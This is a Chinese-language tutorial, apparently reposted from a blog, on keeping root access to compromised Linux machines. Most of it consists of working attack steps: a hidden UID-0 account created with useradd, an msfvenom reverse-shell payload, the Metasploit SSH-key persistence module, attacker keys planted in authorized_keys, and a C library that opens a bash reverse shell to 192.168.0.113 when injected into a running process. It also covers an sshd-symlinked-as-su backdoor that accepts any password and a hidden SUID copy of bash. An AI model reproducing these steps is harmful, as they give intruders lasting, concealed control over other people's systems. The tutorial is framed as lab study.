13.linux权限维持

0x01.linux权限维持的基本思路

权限维持的前提:有shell 是root权限

1.linux操作系统的基本特点

a.长时间运行并带有服务

b.文件结构简单

c.用户权限清晰

2.基本知识面

账户 : 账户的使用、创建和链接(以ssh为主)

操作系统 : 基于linux的系统特性来思考linux系统本身可以利用的权限维持技巧

系统应用 : 从linux操作系统中的各种通用性较广的应用思考权限维持

3.如何快速学习linux权限维持的新技巧

从触发转变为持续

a.思考的重点重基于事件触发变为持续

b.利用的点从操作系统本身转到应用

c."权限"从"控制的权限“到"提权的权限

0x02.基于账号的linux后门

1.添加linux用户

普通方式
useradd 用户名
passwd 用户名
输入密码

不普通的方式 (直接修改密码相关的两个文件)
添加一个具有root权限的普通用户

修改/etc/passwd(密码引导文件)和/etc/shadow(密码真正的文件)
passwd
test:x:0:0::/:/bin/bash

shadow (密码:123456)
test:密码密文:13407:0:99999:7:::

先复制到tmp目录下,修改好在覆盖源文件,注意这里的密码密文不同操作系统是不一样的,所以手动要先生成
一句话添加
useradd -p 0`openssl passwd -1 -salt 'abc' 123456` -u 0  -o -g root -G root -s /bin/bash -d /usr/bin/chiyu chiyu

useradd 添加用户
useradd -p 0`openssl passwd -1 -salt 'abc' cqrdpass` abc是盐值,可以随便填写,cqrdpass是设置的密码
-u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
-g root -G root 将用户添加到root组
-s /bin/bash 指定新建用户的shell路径
-d /usr/bin/cqrd 新建用户的主目录,可以自己定义
cqrd 新建的用户的用户名

测试不能用ssh登录,不知道原因

2.如何连接linux用户

ssh基本使用:

usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
           [-i identity_file] [-J [user@]host[:port]] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] destination [command]

[-i identity_file] [-J [user@]host[:port]]这部分的需要记住,很常用。

3.基本的密钥体系概念(以ssh举例)

对称与非对称密钥体系

同一个密钥既可以加密又可以解密就是对称的密钥体系,密文或明文的确定正确由这个密钥决定

有专门的密钥来负责加密,有专门的密钥负责解密就是非对称的密钥体系,密文的的确定正确由负责加

密的密钥确定(公钥),明文的确定正确由负责解密的密钥确定(私钥),二者的统一确定由加密的密

钥统一决定

对称密钥举例:

密文:2个2

明文:4

密钥:加号

加密过程:4=2+2

解密过程:2+2=4

非对称密钥举例:

密文:2

公钥:两个2

私钥一:加号

私钥二:乘号

明文:4

加密过程:4由两个2组成

解密过程一:4=2+2

解密过程二:4=2*2

ssh认证过程

SSH登录主要分为两个阶段:

1)协商客户端和服务端双方通信所使用的共享密钥,并用这个共享密钥实现后续会话过程的对称加密

2)使用非对称加密方式验证客户端的身份。

两种登陆方式:

1.密码:

1)服务端收到客户端的请求后,把自己的公钥发送给客户端(与会话密钥不同,是服务器自身的公钥/

私钥对);

2)客户端使用收到的公钥加密密码,并发送回服务器;

3)服务器使用自己私钥解密信息,若密码正确,则通过验证。

2.密钥:

前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。

1)客户端把用户验证的密钥对ID发送给服务器;

2)服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;

3)假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;

4)服务器将加密后的信息发送给客户端;

5)假设客户端拥有对应的私钥,就可以解密出原来的随机数;

6)客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;

7)客户端将MD5哈希值发送回服务器;

8)服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希

值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。

678步可以仅做了解

4.如何使用ssh做权限维持(必做作业)

下载服务器私钥链接,攻击者使用私钥链接

ssh -i 私钥文件 用户@ip

写公钥到被控端~/.ssh/authorized_keys文件

ssh 用户@ip

补充:

msf中有一个关于上面两个的自动化模块
post/linux/manage/sshkey_persistence
设置session
run
就会拿到私钥,以及添加公钥到靶机的~/.ssh/authorized_keys

实战实验:

1.生成linuxpayload

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf -o /root/linuxpayload

2.通过http服务,靶机下载payload

python:   
python3 -m http.server

php:
php -S 192.168.0.114:80

3.msf设置监听

set payload linux/x86/meterpreter/reverse_tcp

4.靶机运行payload

5.上线会话放到后台

6.使用post模块、

use post/linux/manage/sshkey_persistence
set session 2
run

image-20210724101739774

7.使用下载的私钥链接

降低私钥权限
chmod 600 /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt                   
                                                                                                                                        
ssh -i /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt root@192.168.0.113

image-20210724102049204

8.写公钥到被控机

生成本地公钥
ssh-keygen   (一路回车,然后会生成下面两个文件)

image-20210724102645427

把id_rsa.pub写到被控机的~/.ssh/authorized_keys中

cd /root/.ssh
upload /root/.ssh/id_rsa.pub .
mv id_rsa.pub authorized_keys

直接链接

image-20210724103458468

0x03.基于linux特性的权限维持

1.进程注入

老师说进程迁移也是一种进程注入就是用一个dll文件调另一个dll文件

gaffe23/linux-inject

https://github.com/gaffe23/linux-inject

下载后需要make一下

image-20210724104626775

inject         sample-library.so       sample-target
注入工具      要注入的文件	     默认演示的进程 (持续运行)

实验演示

1.开启演示进程
./sample-target

2.查看正在运行的进程
ps -a

3.注入进程
./inject -p PID sample-library.so 

image-20210724105318022

关闭系统的一个进程管理工具 , 这个工具作用:不允许莫名其妙的东西运行在你的进程上

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

代码 文件名:socket.so

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

void shell()
{
    system( "bash -c 'bash -i >& /dev/tcp/192.168.0.113/4444 0>&1'");
}

__attribute__((constructor))
void loadMsg()
{
    shell();
}

编译

clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC socket.c

使用

./sample-target
./inject -p pid socket.so

实战可以注入到apache进程中

演示 : 被控机器---》 kali

image-20210724111043522

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

image-20210724111204277

拿到shell

image-20210724111242916

3.PAM(ssh软连接)

寻找支持pam的程序

cd /etc/pam.d

image-20210724111953716

找到支持的程序具体在什么位置

whereis su

image-20210724112055045

软连接

ln –sf /usr/sbin/sshd /bin/su;/bin/su –oPort=4444

相当于攻击者用ssh链接被控机器的444端口,但是被控机这边只是调用了一个su而已,不涉及敏感操作,不会拦截,然后pam中会有所有的ssh认证过程,然后攻击者就连上了

image-20210724112919453

ssh链接 , 输入任意密码即可

ssh 192.168.0.113 -p 4444 

image-20210724113015425

4.suid的权限维持(提权通道维持)

1.找到bash文件

whereis bash

2.复制到普通用户环境能接触的文件夹

cp /bin/bash /tmp/.bash

3.设置权限

chmod 4755 /tmp/.bash    #设置suid 4代表suid

4.使用

普通用户登录
/tmp/.bash -p

image-20210724113446493

0x04.基于linux系统应用的权限维持

1.rookit

缺点:动静特别大,很容易被发现,安装也不简单

优点:如果成功,对方只能恢复快照,无其他方法

github: linux rootkit

原文地址:https://www.cnblogs.com/xcymn/p/15721481.html